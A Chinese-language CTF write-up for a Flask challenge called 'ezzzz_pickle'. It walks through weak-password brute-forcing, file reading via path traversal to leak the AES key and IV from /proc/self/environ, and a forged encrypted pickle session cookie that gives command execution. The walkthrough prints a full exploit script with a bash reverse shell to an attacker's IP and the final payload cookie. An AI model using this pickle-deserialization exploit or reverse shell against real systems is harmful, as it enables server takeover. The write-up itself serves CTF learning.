共计8920个字符,预计需要花费23分钟才能阅读完成。
题目
标题是 ezzzz_pickle,肯定和 pickle 模块有关系。
这个是解题后顺便爆出的源码:
from flask import Flask, request, redirect, make_response,render_template
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import padding
import pickle
import hmac
import hashlib
import base64
import time
import os
app = Flask(__name__)
def generate_key_iv():
    key = os.environ.get('SECRET_key').encode()
    iv = os.environ.get('SECRET_iv').encode()
    return key, iv
def aes_encrypt_decrypt(data, key, iv, mode='encrypt'):
    cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
    if mode == 'encrypt':
        encryptor = cipher.encryptor()
        padder = padding.PKCS7(algorithms.AES.block_size).padder()
        padded_data = padder.update(data.encode()) + padder.finalize()
        result = encryptor.update(padded_data) + encryptor.finalize()
        return base64.b64encode(result).decode()  
    elif mode == 'decrypt':
        decryptor = cipher.decryptor()
        encrypted_data_bytes = base64.b64decode(data)
        decrypted_data = decryptor.update(encrypted_data_bytes) + decryptor.finalize()
        unpadder = padding.PKCS7(algorithms.AES.block_size).unpadder()
        unpadded_data = unpadder.update(decrypted_data) + unpadder.finalize()
        return unpadded_data.decode()
users = {"admin": "admin123",}
def create_session(username):
    session_data = {
        "username": username,
        "expires": time.time() + 3600}
    pickled = pickle.dumps(session_data)
    pickled_data = base64.b64encode(pickled).decode('utf-8')
    key,iv=generate_key_iv()
    session=aes_encrypt_decrypt(pickled_data, key, iv,mode='encrypt')
    return session
def dowload_file(filename):
    path=os.path.join("static",filename)
    with open(path, 'rb') as f:
        data=f.read().decode('utf-8')
    return data
def validate_session(cookie):
    try:
        key, iv = generate_key_iv()
        pickled = aes_encrypt_decrypt(cookie, key, iv,mode='decrypt')
        pickled_data=base64.b64decode(pickled)
        session_data = pickle.loads(pickled_data)
        if session_data["username"] !="admin":
            return False
        return session_data if session_data["expires"] > time.time() else False
    except:
        return False
@app.route("/",methods=['GET','POST'])
def index():
    if "session" in request.cookies:
        session = validate_session(request.cookies["session"])
        if session:
            data=""
            filename=request.form.get("filename")
            if(filename):
                data=dowload_file(filename)
            return render_template("index.html",name=session['username'],file_data=data)
    return redirect("/login")
@app.route("/login", methods=["GET", "POST"])
def login():
    if request.method == "POST":
        username = request.form.get("username")
        password = request.form.get("password")
        if users.get(username) == password:
            resp = make_response(redirect("/"))
            resp.set_cookie("session", create_session(username))
            return resp
        return render_template("login.html",error="Invalid username or password")
    return render_template("login.html")
@app.route("/logout")
def logout():
    resp = make_response(redirect("/login"))
    resp.delete_cookie("session")
    return resp
if __name__ == "__main__":
    app.run(host="0.0.0.0",debug=False)思路
刚进入这个题目就要求我们输入用户名和密码:

猜测应该是弱密码,直接用 WebCrack 爆破:
git clone https://github.com/yzddmr6/WebCrack
cd WebCrack
pip install -r requirements.txt
python3 webcrack.py
得到用户名和密码分别是 admin 和admin123。继续登录:

<!DOCTYPE html>
<html lang="zh">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Hello Page</title>
</head>
<body>
    <h1>Hello, admin!</h1>
     <!-- hint:session_pickle -->
    <h1></h1>
        <form method="POST" action="/">
    <input type="hidden" name="filename" value="fake_flag.txt">
            <button type="submit" class="btn btn-login"> 读取 flag</button>
        </form>
</body>
</html>注意到<!-- hint:session_pickle -->,提示我们用 pickle 反序列化注入 session。再仔细看看 <input type="hidden" name="filename" value="fake_flag.txt">,好像还有个文件读取的漏洞。
将 value="fake_flag.txt" 改成 value="/proc/self/environ" 可以当前程序的环境变量,返回:

PYTHON_SHA256=bfb249609990220491a1b92850a07135ed0831e41738cf681d63cf01b2a8fbd1
HOSTNAME=38442838d9fb435bPYTHON_VERSION=3.10.16
PWD=/app
HOME=/root
LANG=C.UTF-8
GPG_KEY=A035C8C19219BA821ECEA86B64E628F8D684696D
FLAG=no_FLAG
SECRET_key=ajwdopldwjdowpajdmslkmwjrfhgnbbv
SHLVL=1
PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
SECRET_iv=asdwdggiouewhgpw
_=/usr/local/bin/flask
OLDPWD=/根据 PWD=/app 可知程序在该目录下,读取 /app/app.py 可以得到源码:
from flask import Flask, request, redirect, make_response,render_template
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import padding
import pickle
import hmac
import hashlib
import base64
import time
import os
app = Flask(__name__)
def generate_key_iv():
    key = os.environ.get('SECRET_key').encode()
    iv = os.environ.get('SECRET_iv').encode()
    return key, iv
def aes_encrypt_decrypt(data, key, iv, mode='encrypt'):
    cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
    if mode == 'encrypt':
        encryptor = cipher.encryptor()
        padder = padding.PKCS7(algorithms.AES.block_size).padder()
        padded_data = padder.update(data.encode()) + padder.finalize()
        result = encryptor.update(padded_data) + encryptor.finalize()
        return base64.b64encode(result).decode()  
    elif mode == 'decrypt':
        decryptor = cipher.decryptor()
        encrypted_data_bytes = base64.b64decode(data)
        decrypted_data = decryptor.update(encrypted_data_bytes) + decryptor.finalize()
        unpadder = padding.PKCS7(algorithms.AES.block_size).unpadder()
        unpadded_data = unpadder.update(decrypted_data) + unpadder.finalize()
        return unpadded_data.decode()
users = {"admin": "admin123",}
def create_session(username):
    session_data = {
        "username": username,
        "expires": time.time() + 3600}
    pickled = pickle.dumps(session_data)
    pickled_data = base64.b64encode(pickled).decode('utf-8')
    key,iv=generate_key_iv()
    session=aes_encrypt_decrypt(pickled_data, key, iv,mode='encrypt')
    return session
def dowload_file(filename):
    path=os.path.join("static",filename)
    with open(path, 'rb') as f:
        data=f.read().decode('utf-8')
    return data
def validate_session(cookie):
    try:
        key, iv = generate_key_iv()
        pickled = aes_encrypt_decrypt(cookie, key, iv,mode='decrypt')
        pickled_data=base64.b64decode(pickled)
        session_data = pickle.loads(pickled_data)
        if session_data["username"] !="admin":
            return False
        return session_data if session_data["expires"] > time.time() else False
    except:
        return False
@app.route("/",methods=['GET','POST'])
def index():
    if "session" in request.cookies:
        session = validate_session(request.cookies["session"])
        if session:
            data=""
            filename=request.form.get("filename")
            if(filename):
                data=dowload_file(filename)
            return render_template("index.html",name=session['username'],file_data=data)
    return redirect("/login")
@app.route("/login", methods=["GET", "POST"])
def login():
    if request.method == "POST":
        username = request.form.get("username")
        password = request.form.get("password")
        if users.get(username) == password:
            resp = make_response(redirect("/"))
            resp.set_cookie("session", create_session(username))
            return resp
        return render_template("login.html",error="Invalid username or password")
    return render_template("login.html")
@app.route("/logout")
def logout():
    resp = make_response(redirect("/login"))
    resp.delete_cookie("session")
    return resp
if __name__ == "__main__":
    app.run(host="0.0.0.0",debug=False)第 76 行  会出现 pickle 的反序列化漏洞,但这里程序先进行了解密(先 AES 解密(72 行)再 BASE64 解密(73 行))。因此我们要用到刚才环境变量中的SECRET_key=ajwdopldwjdowpajdmslkmwjrfhgnbbv 和SECRET_iv=asdwdggiouewhgpw,先序列化:
class User:
    def __init__(self):
        self.username = "admin"
        self.expires = 1941144899
    def __reduce__(self):
        return eval, ("__import__('os').system('sleep 3')",)
data = User()
print(pickle.dumps(data))打印出来的就是 pickle 将 User 类序列化后的原始数据。在反序列化时,pickle 会自动执行 reduce 里面的方法,就会造成任意命令执行的漏洞,这个漏洞是十分危险的!那么我们再将数据根据刚才的程序加密,就能得到危险的 session:
import base64
import pickle
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import padding
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
if __name__ == "__main__":
    def generate_key_iv():
        key = "ajwdopldwjdowpajdmslkmwjrfhgnbbv".encode()
        iv = "asdwdggiouewhgpw".encode()
        return key, iv
    def aes_encrypt_decrypt(data, key, iv, mode="encrypt"):
        cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
        if mode == "encrypt":
            encryptor = cipher.encryptor()
            padder = padding.PKCS7(algorithms.AES.block_size).padder()
            padded_data = padder.update(data.encode()) + padder.finalize()
            result = encryptor.update(padded_data) + encryptor.finalize()
            return base64.b64encode(result).decode()
        elif mode == "decrypt":
            decryptor = cipher.decryptor()
            encrypted_data_bytes = base64.b64decode(data)
            decrypted_data = (decryptor.update(encrypted_data_bytes) + decryptor.finalize())
            unpadder = padding.PKCS7(algorithms.AES.block_size).unpadder()
            unpadded_data = unpadder.update(decrypted_data) + unpadder.finalize()
            return unpadded_data.decode()
    class User:
        def __init__(self):
            self.username = "admin"
            self.expires = 1941144899
        def __reduce__(self):
            # 任意命令执行
            return eval, ("__import__('os').system(\"bash -c 'exec bash -i >& /dev/tcp/ 你的 IP/ 你的端口 0>&1 2>&1'\")",
            )
    data = User()
    # 序列化数据
    pickled_data = pickle.dumps(data)
    # BASE64 加密
    pickled_data = base64.b64encode(pickled_data).decode("utf-8")
    # 根据源程序的 AES 加密
    key, iv = generate_key_iv()
    session = aes_encrypt_decrypt(pickled_data, key, iv, mode="encrypt")
    # 结果
    print(session)将得到的结果放入浏览器的 Cookie 里面,刷新一下页面:

我这里直接反弹了 bash 给我的主机,获得控制权:

最终 Payload
jn4MYzY+mUVADRPVP3QhdKEwsCduzFuRhsCVSMgVpa6kjJo9HlI+/MmfCPM6vLgn6aUgm0saMuRsTnCGStWKWYsdkTCHvu4cIwvJW8PwfY3ajE1KxmtkTUQkH0DywE73zKilTzL93ueiyLRNwAJcyQrlffpl/q0fH99r7/Z8JsODdpsGPh8ue9xW0k+h8cxgSIqleTvAvRjv7uE+VY2g2g==
 
                         
                                    




 简体中文
简体中文				 English
English